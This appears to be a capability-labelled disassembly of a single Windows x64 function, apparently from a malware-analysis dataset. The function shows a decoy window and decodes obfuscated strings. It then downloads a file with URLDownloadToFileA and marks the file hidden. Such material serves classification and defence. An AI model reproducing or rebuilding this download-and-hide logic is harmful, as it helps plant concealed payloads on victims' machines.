Function at 0x1400db480
Capabilities:
Check if file exists
Download url
Inspect load icon resource
Receive data

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x488
mov rax, qword [0x1402e8100]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov dword [rsp + 0x3d0], 0x50
mov dword [rsp + 0x3d4], 0x40
lea rax, [0x1400dac50]
mov qword [rsp + 0x3d8], rax
mov dword [rsp + 0x3e0], 0
mov dword [rsp + 0x3e4], 0
mov rax, qword [rsp + 0x490]
mov qword [rsp + 0x3e8], rax
mov edx, 0x65
mov rcx, qword [rsp + 0x490]
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rsp + 0x3f0], rax
mov qword [rsp + 0x3f8], 0
mov qword [rsp + 0x400], 0
mov qword [rsp + 0x408], 0
movzx r9d, byte [rsp + 0xa2]
movzx r8d, byte [rsp + 0x70]
movzx edx, byte [rsp + 0x71]
lea rcx, [rsp + 0x1d0]
call fcn.1400dbd00
mov rcx, rax
call fcn.1400dc530
mov qword [rsp + 0x410], rax
mov qword [rsp + 0x418], 0
lea rcx, [rsp + 0x3d0]
call qword [sym.imp.USER32.dll_RegisterClassExW]
movzx eax, ax
test eax, eax
jne 0x1400db60e
movzx r9d, byte [rsp + 0x72]
movzx r8d, byte [rsp + 0x73]
movzx edx, byte [rsp + 0x74]
lea rcx, [rsp + 0x170]
call fcn.1400dbd60
mov rcx, rax
call fcn.1400dc400
mov qword [rsp + 0xc0], rax
movzx r9d, byte [rsp + 0x75]
movzx r8d, byte [rsp + 0x76]
movzx edx, byte [rsp + 0x77]
lea rcx, [rsp + 0x1e0]
call fcn.1400dbd30
mov rcx, rax
call fcn.1400dc480
mov qword [rsp + 0xc8], rax
mov r9d, reloc.WS2_32.dll_recv
mov r8, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x1400dbce6
mov eax, dword [0x1403b849c]
mov dword [rsp + 0xb0], eax
mov eax, dword [0x1403b8498]
mov dword [rsp + 0xb4], eax
movzx r9d, byte [rsp + 0x78]
movzx r8d, byte [rsp + 0x79]
movzx edx, byte [rsp + 0x7a]
lea rcx, [rsp + 0x2a0]
call fcn.1400dbd90
mov rcx, rax
call fcn.1400dc320
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0x3e8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0xb4]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0x80000000
mov r8, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0x410]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x1400db76d
mov rdx, qword [rsp + 0x3e8]
mov rcx, qword [rsp + 0x410]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movzx r9d, byte [rsp + 0x7b]
movzx r8d, byte [rsp + 0x7c]
movzx edx, byte [rsp + 0x7d]
lea rcx, [rsp + 0x180]
call fcn.1400dbdf0
mov rcx, rax
call fcn.1400dc400
mov qword [rsp + 0xd8], rax
movzx r9d, byte [rsp + 0x7e]
movzx r8d, byte [rsp + 0x7f]
movzx edx, byte [rsp + 0x80]
lea rcx, [rsp + 0x200]
call fcn.1400dbdc0
mov rcx, rax
call fcn.1400dc270
mov qword [rsp + 0xe0], rax
mov r9d, reloc.WS2_32.dll_recv
mov r8, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x1400dbce6
mov rdx, qword [rsp + 0x68]
lea rcx, [0x1403b8430]
call fcn.1400c1940
movzx eax, al
test eax, eax
jne 0x1400db83e
lea rcx, [0x1403b8430]
call fcn.1400c1710
mov rdx, qword [rsp + 0x3e8]
mov rcx, qword [rsp + 0x410]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movzx r9d, byte [rsp + 0x81]
movzx r8d, byte [rsp + 0x82]
movzx edx, byte [rsp + 0x83]
lea rcx, [rsp + 0x190]
call fcn.1400dbe50
mov rcx, rax
call fcn.1400dc400
mov qword [rsp + 0xe8], rax
movzx r9d, byte [rsp + 0x84]
movzx r8d, byte [rsp + 0x85]
movzx edx, byte [rsp + 0x86]
lea rcx, [rsp + 0x1a0]
call fcn.1400dbe20
mov rcx, rax
call fcn.1400dc1f0
mov qword [rsp + 0xf0], rax
mov r9d, reloc.WS2_32.dll_recv
mov r8, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xf0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x1400dbce6
lea rdx, [rsp + 0x420]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_GetWindowRect]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
sub eax, dword [rsp + 0x428]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xa4], eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
sub eax, dword [rsp + 0x42c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xac], eax
lea rax, [rsp + 0x220]
mov qword [rsp + 0xf8], rax
movzx r9d, byte [rsp + 0x87]
movzx r8d, byte [rsp + 0x88]
movzx edx, byte [rsp + 0x89]
lea rcx, [rsp + 0x1b0]
call fcn.1400dbe80
mov rcx, rax
call fcn.1400dc710
mov rdx, rax
mov rcx, qword [rsp + 0xf8]
call fcn.1400caee0
mov r8, rax
lea rdx, [rsp + 0x450]
lea rcx, [0x1403b7ef1]
call fcn.1400df000
lea rcx, [rsp + 0x450]
call fcn.1400cacb0
movzx eax, al
test eax, eax
jne 0x1400db920
lea rcx, [rsp + 0x450]
call fcn.1400cacf0
mov rcx, rax
call fcn.1402330a8
mov dword [rsp + 0xa4], eax
lea rcx, [rsp + 0x450]
call fcn.1400cadf0
lea rax, [rsp + 0x240]
mov qword [rsp + 0x100], rax
movzx r9d, byte [rsp + 0x8a]
movzx r8d, byte [rsp + 0x8b]
movzx edx, byte [rsp + 0x8c]
lea rcx, [rsp + 0x1c0]
call fcn.1400dbeb0
mov rcx, rax
call fcn.1400dc690
mov rdx, rax
mov rcx, qword [rsp + 0x100]
call fcn.1400caee0
mov r8, rax
lea rdx, [rsp + 0x430]
lea rcx, [0x1403b7ef1]
call fcn.1400df000
lea rcx, [rsp + 0x430]
call fcn.1400cacb0
movzx eax, al
test eax, eax
jne 0x1400db9c3
lea rcx, [rsp + 0x430]
call fcn.1400cacf0
mov rcx, rax
call fcn.1402330a8
mov dword [rsp + 0xac], eax
lea rcx, [rsp + 0x430]
call fcn.1400cadf0
mov dword [rsp + 0x30], 0x45
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, dword [rsp + 0xac]
mov r8d, dword [rsp + 0xa4]
mov rdx, 0xffffffffffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [0x1403b849c]
inc eax
mov ecx, dword [0x1403b8498]
inc ecx
mov edx, dword [0x1403b84a0]
mov dword [rsp + 0x28], edx
mov edx, dword [0x1403b84a0]
mov dword [rsp + 0x20], edx
mov r9d, eax
mov r8d, ecx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov qword [rsp + 0x108], rax
mov r8d, 1
mov rdx, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_SetWindowRgn]
mov edx, 0xa
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_UpdateWindow]
movzx r9d, byte [rsp + 0x8d]
movzx r8d, byte [rsp + 0x8e]
movzx edx, byte [rsp + 0x8f]
lea rcx, [rsp + 0x260]
call fcn.1400dbee0
mov rcx, rax
call fcn.1400dc140
mov qword [rsp + 0x110], rax
xor r8d, r8d
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x130]
call fcn.1400dd9d0
lea rcx, [rsp + 0x130]
call fcn.1400daaa0
movzx eax, al
test eax, eax
jne 0x1400dbaea
mov dword [rsp + 0xa8], 1
jmp 0x1400dbaf5
mov dword [rsp + 0xa8], 0
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0x60], al
lea rcx, [rsp + 0x130]
call fcn.1400da170
movzx eax, byte [rsp + 0x60]
test eax, eax
je 0x1400dbb80
movzx r9d, byte [rsp + 0x90]
movzx r8d, byte [rsp + 0x91]
movzx edx, byte [rsp + 0x92]
lea rcx, [rsp + 0x280]
call fcn.1400dbf10
mov rcx, rax
call fcn.1400dc140
mov qword [rsp + 0x118], rax
xor r8d, r8d
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x150]
call fcn.1400dd9d0
lea rcx, [rsp + 0x150]
call fcn.1400dac00
lea rcx, [rsp + 0x150]
call fcn.1400da170
movzx r9d, byte [rsp + 0x93]
movzx r8d, byte [rsp + 0x94]
movzx edx, byte [rsp + 0x95]
lea rcx, [rsp + 0x2d0]
call fcn.1400dbf40
mov rcx, rax
call fcn.1400dc5b0
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1400dbbf3
movzx r9d, byte [rsp + 0x96]
movzx r8d, byte [rsp + 0x97]
movzx edx, byte [rsp + 0x98]
lea rcx, [rsp + 0x300]
call fcn.1400dbf70
mov rcx, rax
call fcn.1400dc5b0
mov rcx, rax
call fcn.140231e34
movzx r9d, byte [rsp + 0x99]
movzx r8d, byte [rsp + 0x9a]
movzx edx, byte [rsp + 0x9b]
lea rcx, [rsp + 0x330]
call fcn.1400dbfd0
mov rcx, rax
call fcn.1400dc5b0
mov qword [rsp + 0x120], rax
movzx r9d, byte [rsp + 0x9c]
movzx r8d, byte [rsp + 0x9d]
movzx edx, byte [rsp + 0x9e]
lea rcx, [rsp + 0x390]
call fcn.1400dbfa0
mov rcx, rax
call fcn.1400dc030
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x128]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0xb8], eax
cmp dword [rsp + 0xb8], 0
jl 0x1400dbcd3
movzx r9d, byte [rsp + 0x9f]
movzx r8d, byte [rsp + 0xa0]
movzx edx, byte [rsp + 0xa1]
lea rcx, [rsp + 0x360]
call fcn.1400dc000
mov rcx, rax
call fcn.1400dc5b0
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rdx, qword [rsp + 0x68]
lea rcx, [0x1403b8430]
call fcn.1400c0e20
xor eax, eax
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.1401e1ca0
add rsp, 0x488
ret